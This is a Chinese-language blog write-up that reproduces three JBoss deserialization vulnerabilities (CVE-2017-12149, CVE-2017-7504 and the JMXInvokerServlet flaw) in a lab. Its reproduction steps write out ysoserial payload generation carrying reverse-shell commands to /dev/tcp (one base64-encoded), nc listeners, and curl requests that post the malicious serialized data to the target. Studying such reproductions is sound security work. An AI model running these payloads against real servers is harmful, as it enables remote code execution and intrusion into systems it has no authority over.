web服务器/中间件漏洞系列3:jboss漏洞汇总

在这里插入图片描述

JBOSSS简介: JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。

一、CVE-2017-12149

1、漏洞简介

漏洞类型:java 反序列化

漏洞原理: 该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

影响范围:5.x ,6.x

2、漏洞复现
  1. 搭建好环境后,访问 http://ip:8080/invoker/readonly,如果返回500界面说明存在漏洞。
    在这里插入图片描述

  2. 打开jboss漏洞利用工具(可在guithub上搜索相关漏洞编号自行下载)
    在这里插入图片描述3. 输入目标地址,可以先检测漏洞是否存在,存在后可以直接执行系统命令。在这里插入图片描述

  3. 执行系统命令,可以反弹shell,写入木马等。
    在这里插入图片描述

二、CVE-2017-7504

1、漏洞简介

漏洞类型: JMXInvokerServlet 反序列化漏洞

漏洞原理: JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

影响范围: Jboss 4.x

2、漏洞复现
  • 访问漏洞环境,进入漏洞点:jbossmq-httpil/HTTPServerILServlet,显示如下界面。
    在这里插入图片描述

  • 按照漏洞利用步骤进行漏洞利用:
    1) 生成class文件:javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java
    2) 生成ser恶意序列化文件:java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "bash -i >& /dev/tcp/192.168.17.132/7777 0>&1"
    3) 攻击机监听端口:nc -lvvp 7777
    4) 执行攻击payload,反弹shell: sudo curl http://192.168.17.244:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser

  • 反弹shell成功。
    在这里插入图片描述

三、 JMXInvokerServlet 反序列化漏洞

1、漏洞简介:

漏洞原理:
JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。
影响范围:

  • JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
  • JBoss AS (Wildly) 6 and earlier
  • JBoss A-MQ 6.2.0 JBoss Fuse 6.2.0
  • JBoss SOA Platform (SOA-P) 5.3.1
  • JBoss Data Grid (JDG) 6.5.0
  • JBoss BRMS (BRMS)6.1.0
  • JBoss BPMS (BPMS) 6.1.0
  • JBoss Data Virtualization (JDV) 6.1.0
  • JBoss Fuse Service Works (FSW) 6.0.0
  • JBoss Enterprise Web Server (EWS) 2.1,3.0
2、漏洞复现

1)访问目标站点的8080端口,是一个默认Jboss页面。
2)访问/invoker/JMXInvokerServlet,如果说存在文件下载,说明存在漏洞。
3)由于JBOSS是在处理/invoker/JMXInvokerServlet请求的时候读取了对象,所以我们直接将ysoserial生成好的POC附在POST Body中发送即可。
4)首先使用ysoserial(也可以使用JavaDeserH2HC)生成反序列化数据: java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1OS4xMjgvMTkxMTEgMD4mMQ==}|{base64,-d}|{bash,-i} " >exp.ser
5)使用nc监听端口 :nc -lvvp 7777
6)使用curl发送数据 : curl http://192.168.17.244:8080/invoker/JMXInvokerServlet --data-binary @exp.ser
7)等待收到反弹shell即可(此处未收到,漏洞复现失败…一万个无语…)

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值